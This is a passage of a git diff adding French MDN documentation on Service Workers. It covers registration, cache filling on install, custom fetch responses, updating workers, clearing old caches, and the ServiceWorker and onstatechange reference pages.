+<p>Le premier bloc de code dans le fichier JavaScript de l'application — <code>app.js</code> — se présente comme suit. C'est le point d'entrée pour utiliser des service workers.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', { scope: '/sw-test/' }).then(function(reg) {
+    // registration worked
+    console.log('Registration succeeded. Scope is ' + reg.scope);
+  }).catch(function(error) {
+    // registration failed
+    console.log('Registration failed with ' + error);
+  });
+};</pre>
+
+<ol>
+ <li>Le bloc extérieur effectue un test de détection de fonctionnalité pour s'assurer que les service workers sont supportés avant d'essayer d'en enregistrer un.</li>
+ <li>Ensuite, la fonction {{domxref("ServiceWorkerContainer.register()") }} est utilisée pour enregistrer le service worker de ce site, qui est juste un fichier JavaScript présent au sein de notre application (à noter qu'il s'agit de l'URL relative du fichier par rapport à l'origine, et non seulement le fichier JS qui le référence.)</li>
+ <li>Le paramètre <code>scope</code> est optionnel, et peut être utilisé pour spécifier le sous-ensemble du contenu qui doit être soumis au contrôle du service worker. Dans ce cas, on a spécifié '<code>/sw-test/'</code>, ce qui signifie tous les contenus présents sous l'origine de l'application. S'il n'est pas précisé, il correspondra de toute façon par défaut à cette valeur; il a été explicitement spécifié ici à titre d'illustration.</li>
+ <li>La fonction <code>.then()</code> de la promesse est utilisée pour chaîner un traitement en cas de succès à la structure de la promesse. Lorsque la promesse est résolue avec succès, le code qu'elle contient est exécuté.</li>
+ <li>Finalement, une fonction <code>.catch()</code> est chaînée à la fin, qui s'exécutera si la promesse est rejetée.</li>
+</ol>
+
+<p>A ce stade un service worker est enregistré, qui s'exécute dans le contexte d'un worker, et n'a donc aucun accès au DOM. Le code s'exécute ainsi dans le service worker, extérieurement aux pages normales dont il contrôle le chargement.<br>
+ <br>
+ Un seul service worker peut contrôler de nombreuses pages. Chaque fois qu'une page au sein du scope est chargée, le service worker est installé et opère sur la page. Attention, il faut faire un usage prudent des variables globales dans le script du service worker : chaque page ne dispose pas de son propre et unique worker.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: un service worker fonctionne comme un serveur proxy, permettant de modifier les requêtes et les réponses, de les remplacer par des éléments de son propre cache, et bien plus.</p>
+</div>
+
+<div class="note">
+<p><strong>Remarque </strong>: une chose importante à savoir au sujet des service workers est que si la détection de fonctionnalité est utilisée comme ci-dessus, les navigateurs qui ne supportent pas les service workers peuvent simplement utiliser l'application de la manière normalement attendue. De plus, si vous utilisez AppCache et SW sur une page, les navigateurs qui ne supportent pas SW mais supportent AppCache l'utiliseront, et les navigateurs qui supportent les deux ignoreront AppCache au profit de SW.</p>
+</div>
+
+<h4 id="Pourquoi_mon_service_worker_échoue_à_senregistrer">Pourquoi mon service worker échoue à s'enregistrer ?</h4>
+
+<p>Ce pourrait être pour les raisons suivantes :</p>
+
+<ol>
+ <li>L'application ne fonctionne pas au travers d'HTTPS</li>
+ <li>Le chemin du fichier du service worker file est syntaxiquement incorrect — il a besoin d'être exprimé relativement à l'origine, et non pas par rapport au répertoire racine. Dans l'exemple, le worker a comme emplacement <code>https://mdn.github.io/sw-test/sw.js</code>, et la racine de l'application est <code>https://mdn.github.io/sw-test/</code>. Mais la syntaxe du chemin s'écrit <code>/sw-test/sw.js</code>, <code>et non /sw.js</code>.</li>
+ <li>Le service worker considéré se trouve sur une origine différente de celle de l'application. Ce qui n'est pas permis.</li>
+</ol>
+
+<h3 id="Installer_et_activer_remplir_le_cache">Installer et activer : remplir le cache</h3>
+
+<p>Après l'enregistrement du service worker, le navigateur tente d'installer puis d'activer le service worker sur la page ou le site.<br>
+ <br>
+ L'événement install est déclenché lorsqu'une installation se termine avec succès. L'événement install est généralement utilisé pour remplir le cache local du navigateur avec les ressources nécessitées pour faire fonctionner l'application en mode déconnecté. A cet effet, la toute nouvelle API de stockage est utilisée — {{domxref("cache")}} — un espace global au niveau du service worker qui permet de stocker les ressources fournies par les réponses, et indexées par leurs requêtes. Cette API fonctionne d'une manière similaire au cache standard du navigateur, mais le cache demeure spécifique au domaine. Il persiste jusqu'à ce qu'il en soit décidé autrement — de nouveau, le contrôle reste total.</p>
+
+<div class="note">
+<p><strong>Remarque </strong>: L'API Cache n'est pas supportée par tous les navigateurs. (Voir la section {{anch("Compatibilité des navigateurs")}} pour plus d'informations.) Pour l'utiliser à l'heure actuelle, on peut envisager un polyfill comme celui fournit par la <a href="https://github.com/Polymer/topeka/blob/master/sw.js">démo Topeka de Google</a>, ou peut-être stocker les ressources dans <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
+</div>
+
+<p>Commençons cette section par l'examen d'un exemple de code — c'est le <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L18">premier bloc présent dans le service worker</a>:</p>
+
+<pre class="brush: js notranslate">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});</pre>
+
+<ol>
+ <li>Un écouteur d'événement <code>install</code> est d'abord ajouté au service worker (d'où le  <code>this</code>), puis une méthode {{domxref("ExtendableEvent.waitUntil()") }} est chaînée à l'événement — cela garantit que le Service Worker ne s'installera pas tant que le code à l'intérieur de <code>waitUntil()</code> n'a pas été exécuté avec succès.</li>
+ <li>A l'intérieur de <code>waitUntil()</code> la méthode <a href="/en-US/docs/Web/API/CacheStorage/open"><code>caches.open()</code></a> est utilisée pour créer un nouveau cache appelé <code>v1</code>, ce qui constitue la version 1 du cache de ressources de notre site. Cette fonction retourne une promesse lorsque le cache est créé; une fois résolue, est appelée une fonction qui appelle elle-même <code>addAll()</code> sur le cache créé, avec pour paramètre un tableau d'URLs relatives à l'origine correspondant aux ressources à mettre en cache.</li>
+ <li>Si la promesse est rejetée, l'installation échoue, et le worker ne fait rien de plus. Le code peut être alors corrigé et l'opération retentée la prochaine fois que l'enregistrement survient.</li>
+ <li>Après une installation couronnée de succès, le service worker est activé. Cela ne fait pas une grande différence  la première fois que le service worker est installé/activé, mais cela fait plus sens lorsque le service worker est mis à jour (voir la section {{anch("Updating your service worker") }} plus bas.)</li>
+</ol>
+
+<div class="note">
+<p><strong>Remarque </strong>: <a href="/fr/docs/Web/API/Web_Storage_API">localStorage</a> fonctionne de la même façon que le cache du service worker, mais de manière synchrone, et il n'est donc pas autorisé dans les service workers.</p>
+</div>
+
+<div class="note">
+<p><strong>Remarque </strong>: <a href="/fr/docs/Web/API/API_IndexedDB">IndexedDB</a> peut être utilisé dans un service worker pour le stockage des donnés si nécessaire.</p>
+</div>
+
+<h3 id="Réponses_personnalisées_aux_requêtes">Réponses personnalisées aux requêtes</h3>
+
+<p>Une fois que les ressources du site sont mise en cache, les service workers doivent savoir quoi faire de ce contenu en cache. L'événement <code>fetch</code> permet de gérer cela facilement.</p>
+
+<p>Un événement <code>fetch</code> se déclenche à chaque fois qu'une ressource contrôlée par un service worker est retournée, ce qui inclut les documents à l'intérieur du contour spécifié, et toute ressource référencée dans ces documents (par exemple <code>si index.html</code> effectue une requête vers un autre domaine pour l'insertion d'une image, cela se fait encore au travers de son service worker.)</p>
+
+<p>On peut attacher un écouteur de l'événement <code>fetch</code> au service worker, puis appeler la méthode <code>respondWith()</code> sur l'événement pour détourner les réponses HTTP et les mettre à jour en leur jetant un sort particulier.</p>
+
+<pre class="brush: js notranslate">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    // la magie opère ici
+  );
+});</pre>
+
+<p>On peut déjà simplement répondre avec la ressource en cache dont l'url correspond à celle de la requête réseau, dans chaque cas :</p>
+
+<pre class="brush: js notranslate">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request)
+  );
+});</pre>
+
+<p><code>caches.match(event.request)</code> permet de mettre en correspondance chaque ressource demandée sur le réseau avec la ressource équivalente en cache, si elle se trouve être disponible. La comparaison est effectuée via l'url et diverses en-têtes, comme habituellement avec des requêtes HTTP normales.</p>
+
+<p>Voici quelques autres options disponibles pour que la magie opère (voir la <a href="/fr/docs/Web/API/Fetch_API">documentation de l'API Fetch </a>pour plus d'informations sur les objets {{domxref("Request")}} et {{domxref("Response")}}.)</p>
+
+<ol>
+ <li>
+  <p>Le constructeur <code>{{domxref("Response.Response","Response()")}}</code> permet de créer une réponse personnalisée. Dans cet exemple, une chaîne de caractères est simplement retournée :</p>
+
+  <pre class="brush: js notranslate">new Response('Hello from your friendly neighbourhood service worker!');</pre>
+ </li>
+ <li>
+  <p>La <code>Response</code> plus complexe ci-dessous montre qu'il est possible de passer optionnellement un ensemble d'en-têtes avec la réponse, émulant ainsi des en-têtes de réponse HTTP standards. Ici, on signale au navigateur quel est le type de contenu de notre réponse artificielle :</p>
+
+  <pre class="brush: js notranslate">new Response('&lt;p&gt;Hello from your friendly neighbourhood service worker!&lt;/p&gt;', {
+  headers: { 'Content-Type': 'text/html' }
+})</pre>
+ </li>
+ <li>
+  <p>Si une correspondance n'est pas trouvée en cache, on peut indiquer simplement au navigateur d'effectuer ({{domxref("GlobalFetch.fetch","fetch")}}) la requête réseau par défaut pour cette ressource, afin de récupérer cette nouvelle ressource sur le réseau si disponible :</p>
+
+  <pre class="brush: js notranslate">fetch(event.request)</pre>
+ </li>
+ <li>
+  <p>Si une correspondance n'est pas trouvée en cache et que le réseau n'est pas disponible, on peut alors faire correspondre la requête avec une page de rechange par défaut en guise de réponse en utilisant {{domxref("CacheStorage.match","match()")}}, comme suit :</p>
+
+  <pre class="brush: js notranslate">caches.match('/fallback.html');</pre>
+ </li>
+ <li>
+  <p>On peut récupérer beaucoup d'informations à propos de chaque requête en interrogeant les paramètres de l'objet {{domxref("Request")}} retourné par {{domxref("FetchEvent")}} :</p>
+
+  <pre class="brush: js notranslate">event.request.url
+event.request.method
+event.request.headers
+event.request.body</pre>
+ </li>
+</ol>
+
+<h2 id="Récupérer_des_requêtes_en_erreur">Récupérer des requêtes en erreur</h2>
+
+<p>On vient de voir que <code>caches.match(event.request)</code> est important lorsqu'il y a correspondance avec le cache du service worker, mais qu'en est-il des cas où rien ne correspond ? Si aucune sorte de gestionnaire d'erreur n'est fourni, la promesse est rejetée et une erreur réseau est retournée lorsqu'aucune correspondance n'est trouvée.</p>
+
+<p>Heureusement, la structure des service workers qui repose sur les promesses rend trivial la gestion des alternatives à une situation de succès. On pourrait faire ceci :</p>
+
+<pre class="brush: js notranslate">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).catch(function() {
+      return fetch(event.request);
+    })
+  );
+});</pre>
+
+<p>Si la promesse est rejetée, la fonction <code>catch()</code> retourne à la place la requête réseau par défaut, ce qui signifie que si le réseau est disponible la ressource sera chargée à partir du serveur.</p>
+
+<p>Plus malin encore, on pourrait non seulement récupérer la ressource à partir du serveur, mais aussi la sauvegarder dans le cache afin que les requêtes ultérieures pour cette ressource puissent être disponibles aussi en mode déconnecté. Cela signifierait que toute image supplémentaire ajoutée à la galerie Star Wars pourrait être récupérée par l'application et mise en cache. Le code suivant illustre ce mécanisme :</p>
+
+<pre class="brush: js notranslate">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).catch(function() {
+      return fetch(event.request).then(function(response) {
+        return caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<p>Ici on retourne la requête réseau par défaut au moyen de <code>return fetch(event.request)</code>, qui retourne lui-même une promesse. Lorsque cette promesse est résolue, on exécute une fonction qui sollicite le cache en utilisant <code>caches.open('v1')</code>; une promesse est de nouveau retournée. Lorsque cette promesse est résolue, <code>cache.put()</code> est utilisée pour ajouter la ressource au cache. La ressource est récupérée à partir de <code>event.request</code>, et la réponse est alors clonée avec <code>response.clone()</code> et ajoutée au cache. Le clone est placé dans le cache, et la réponse originale est retournée au navigateur et délivrée à la page qui la requiert.</p>
+
+<p>Pourquoi un clone ? Il se trouve que les flux de requête et de réponse peuvent seulement être lus une fois.  Afin de retourner la réponse au navigateur et de la mettre en cache, elle doit être clonée. Aussi, l'original est retourné au navigateur tandis que le clone est envoyé dans le cache. Ils sont chacun lus une seule fois.</p>
+
+<p>Le dernier problème qui demeure alors est l'échec de la requête au cas où elle n'a aucune correspondance dans le cache et que le réseau n'est pas disponible. Fournir un document de rechange par défaut permet quoiqu'il arrive, à l'utilisateur de récupérer quelque chose :</p>
+
+<pre class="brush: js notranslate">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).catch(function() {
+      return fetch(event.request).then(function(response) {
+        return caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    }).catch(function() {
+      return caches.match('/sw-test/gallery/myLittleVader.jpg');
+    })
+  );
+});</pre>
+
+<p>Une image de rechange a été choisie parce que les seules mises à jour susceptibles d'échouer sont les nouvelles images, puisque tous les autres éléments dépendent de l'installation comme vu précédemment dans la description de l'écouteur de l'événement <code>install</code>.</p>
+
+<h2 id="Suggestion_damélioration_dun_modèle_de_code">Suggestion d'amélioration d'un modèle de code</h2>
+
+<p>Ce code utilise un chaînage de promesses plus standard et retourne la réponse au document sans avoir à attendre que <code>caches.open()</code> soit résolue :</p>
+
+<pre class="brush: js notranslate">this.addEventListener('fetch', function(event) {
+  var response;
+  event.respondWith(caches.match(event.request).catch(function() {
+    return fetch(event.request);
+  }).then(function(r) {
+    response = r;
+    caches.open('v1').then(function(cache) {
+      cache.put(event.request, response);
+    });
+    return response.clone();
+  }).catch(function() {
+    return caches.match('/sw-test/gallery/myLittleVader.jpg');
+  }));
+});</pre>
+
+<h2 id="Mettre_à_jour_le_service_worker"><a id="Updating your service worker" name="Updating your service worker">Mettre à jour le service worker</a></h2>
+
+<p>Si le service worker a été précédemment installé, et qu'une nouvelle version du worker est disponible au chargement ou au rafraîchissement de la page, la nouvelle version est installée en arrière-plan, mais pas encore activée. Elle ne sera activé que lorsqu'il n'y aura plus aucune page chargée qui utilise encore l'ancien service worker. Dès lors qu'il n'y a plus de telles pages encore chargées, le nouveau service worker est activé.</p>
+
+<p>On souhaite mettre à jour l'écouteur d'événement <code>install</code> dans le nouveau service worker de la façon suivante (à noter le nouveau numéro de version) :</p>
+
+<pre class="brush: js notranslate">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v2').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+
+             …
+
+              // include other new resources for the new version...
+      ]);
+    });
+  );
+});</pre>
+
+<p>Tandis que la mise à jour se produit, la version précédente est encore en charge de récupérer des ressources. La nouvelle version est installée en arrière-plan. Le nouveau cache se nomme v2, et ainsi ne perturbe en rien le précédent cache nommé v1.</p>
+
+<p>Lorsque plus aucune page n'utilise la version actuelle, le nouveau worker est activé et prend en charge les requêtes.</p>
+
+<h3 id="Supprimer_les_anciens_caches">Supprimer les anciens caches</h3>
+
+<p>Il existe un événement <code>activate</code>. Il est généralement utilisé pour faire un travail qui aurait interrompu le fonctionnement d'une version précédente alors qu'elle était encore en cours d'utilisation, comme par exemple se débarrasser des anciens caches. Il est aussi utile pour supprimer des données qui ne sont plus nécessaires afin d'éviter de surcharger l'espace disque — chaque navigateur dispose d'une limite physique quant à la capacité de stockage en cache dont le service worker peut bénéficier. Le navigateur gère au mieux l'espace disque, mais il peut supprimer le stockage du Cache pour une origine. Le navigateur supprimera généralement toutes les données d'une origine ou bien aucune.</p>
+
+<p>Les promesses passées à <code>waitUntil()</code> bloqueront les autres événements jusqu'à réalisation complète, ainsi on a l'assurance que l'opération de nettoyage aura été menée à terme au moment où surviendra le premier événement <code>fetch</code> du nouveau cache.</p>
+
+<pre class="brush: js notranslate">this.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});</pre>
+
+<h2 id="Outils_de_développement">Outils de développement</h2>
+
+<p>Chrome dispose de <code>chrome://inspect/#service-workers</code>, qui montre l'activité du service worker courant et le stockage sur l'appareil, et <code>chrome://serviceworker-internals</code>, qui offre plus de détails et permet de démarrer/arrêter/déboguer le processus du worker. A l'avenir, des modes dégradé/déconnecté seront ajoutés pour simuler des connexions mauvaises ou inexistantes, ce qui sera une bonne chose.</p>
+
+<p>Firefox a aussi commencé à implanter quelques outils utiles concernant les service workers :</p>
+
+<ul>
+ <li>Consulter <a>about:serviceworkers</a> pour voir quels SWs sont enregistrés et les mettre à jour ou les supprimer.</li>
+ <li>Lors de tests, il est possible de contourner la restriction HTTPS en cochant l'option "Activer les Service Workers via HTTP (lorsque la boîte à outils est ouverte)" dans les options des outils de développement de Firefox (la roue dentée dans le menu.)</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale .</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("33.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/serviceworker/index.html b/files/fr/web/api/serviceworker/index.html
new file mode 100644
index 0000000000..4a1aed9b56
--- /dev/null
+++ b/files/fr/web/api/serviceworker/index.html
@@ -0,0 +1,114 @@
+---
+title: ServiceWorker
+slug: Web/API/ServiceWorker
+tags:
+  - API
+  - Interface
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - Workers
+  - hors-ligne
+translation_of: Web/API/ServiceWorker
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><span class="seoSummary">L'interface <strong><code>ServiceWorker</code></strong> de l'<a href="/en-US/docs/Web/API/ServiceWorker_API">API ServiceWorker</a> met à disposition une référence vers un service worker. Plusieurs  {{glossary("browsing context", "contextes de navigations")}} (par exemple une page, un <em>worker</em>, etc.) peuvent être associés au même service worker, chacun à travers un unique objet <code>ServiceWorker</code>.</span></p>
+
+<p>Un objet <code>ServiceWorker</code> est disponible dans les propriétés  {{domxref("ServiceWorkerRegistration.active")}} et {{domxref("ServiceWorkerContainer.controller")}} — c'est un service worker qui a été activé et qui contrôle la page (ce service worker a été bien enregistré, et la page contrôlée a été rechargée).</p>
+
+<p>L'interface <code>ServiceWorker</code> est distribuée à travers différents évènements de son cycle de vie — <code>install</code> et <code>activate</code> — et d'utilisation, comme <code>fetch</code>. Un objet <code style="font-style: normal; font-weight: normal; line-height: 1.5;">ServiceWorker</code> a un état associé <span style="line-height: 1.5;">{{domxref("ServiceWorker.state")}}, lié à son cycle de vie.</span></p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>ServiceWorker</code> hérite des propriétés de son parent, le {{domxref("Worker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}}</dt>
+ <dd>Retourne la <code>scriptURL</code> sérialisée du <code>ServiceWorker</code>, définie comme une partie du {{domxref("ServiceWorkerRegistration")}}. Cette URL doit avoir la même origine que le document qui enregistre le  <code>ServiceWorker</code>.</dd>
+ <dt>{{domxref("ServiceWorker.state")}} {{readonlyinline}}</dt>
+ <dd>Retourne le status du service worker. Il retourne l'une des valeurs suivantes : <code>installing</code>, <code>installed,</code> <code>activating</code>, <code>activated</code>, or <code>redundant</code>.</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévènements">Gestionnaires d'évènements</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}}</dt>
+ <dd>Une propriété {{domxref("EventListener")}} est appelée quand un évènement de type <code>statechange</code> est déclenché; c'est le cas dès que le {{domxref("ServiceWorker.state")}} change.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'interface du <em><code>ServiceWorker</code> hérite des méthodes de son parent, {{domxref("Worker")}}, avec l'exception de {{domxref("Worker.terminate")}}, qui ne doit pas être accessible depuis le service worker.</em></p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce fragment de code provient d'<a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">un exemple d'enregistrement d'évènement pour le service worker</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">démo en direct</a>). Le code écoute tout changement du {{domxref("ServiceWorker.state")}} et retourne sa valeur.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+  navigator.serviceWorker
+    .register('service-worker.js', {
+      scope: './'
+    })
+    .then(({ installing, waiting, active }) =&gt; {
+      let serviceWorker
+      if (installing) {
+        serviceWorker = installing
+        document.querySelector('#kind').textContent = 'installé'
+      } else if (waiting) {
+        serviceWorker = waiting
+        document.querySelector('#kind').textContent = 'en attente'
+      } else if (active) {
+        serviceWorker = active
+        document.querySelector('#kind').textContent = 'actif'
+      }
+      if (serviceWorker) {
+        // logState(serviceWorker.state);
+        serviceWorker.addEventListener('statechange', (e) =&gt; {
+          // logState(e.target.state);
+        })
+      }
+    })
+    .catch((error) =&gt; {
+      // L'enregistrement s'est mal déroulé. Le fichier service-worker.js
+      // est peut-être indisponible ou contient une erreur.
+    })
+} else {
+  // Le navigateur ne supporte pas les service workers.
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-obj', 'ServiceWorker')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.ServiceWorker")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs">ServiceWorker Cookbook</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/serviceworker/onstatechange/index.html b/files/fr/web/api/serviceworker/onstatechange/index.html
new file mode 100644
index 0000000000..ae7d533316
--- /dev/null
+++ b/files/fr/web/api/serviceworker/onstatechange/index.html
@@ -0,0 +1,125 @@
+---
+title: ServiceWorker.onstatechange
+slug: Web/API/ServiceWorker/onstatechange
+tags:
+  - API
+  - Propriété
+  - Reference
+translation_of: Web/API/ServiceWorker/onstatechange
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>Une propriété {{domxref("EventListener")}} appelée quand un évenement de type <code>statechange</code> est déclenché; c'est le cas dès que le {{domxref("ServiceWorker.state")}} change.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">ServiceWorker.onstatechange = function(statechangeevent) { ... }
+ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } )</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Ce fragment de code présente <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">un exemple d'enregistrement d'évenements pour le service worker</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">démo live</a>). Le code écoute pour tout changement du {{domxref("ServiceWorker.state")}} et retourne sa valeur.</p>
+
+<pre class="brush: js">var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installé';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'en attente';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'actif';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}</pre>
+
+<p>Notez que quand l'évenement <code>statechange</code> est déclenché, la référence du service worker peut avoir changée. Par exemple :</p>
+
+<pre class="brush: js">navigator.serviceWorker.register(..).then(function(swr) {
+  swr.installing.state == "installé"
+  swr.installing.onstatechange = function() {
+    swr.installing == null;
+    // Ici, swr.waiting OU swr.active peuvent valoir true. Parce que l'évènement
+    // statechange est mis en queue, pendant que le worker sous jacent est peut être en
+    // état d'attente et sera immédiatement activé si possible.
+  }
+})</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-onstatechange-attribute', 'ServiceWorker.onstatechange')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition intiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support Basic</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basic</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/serviceworkercontainer/getregistration/index.html b/files/fr/web/api/serviceworkercontainer/getregistration/index.html
new file mode 100644
index 0000000000..131b781087
--- /dev/null
+++ b/files/fr/web/api/serviceworkercontainer/getregistration/index.html
@@ -0,0 +1,57 @@
+---
+title: ServiceWorkerContainer.getRegistration()
+slug: Web/API/ServiceWorkerContainer/getRegistration
+translation_of: Web/API/ServiceWorkerContainer/getRegistration
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
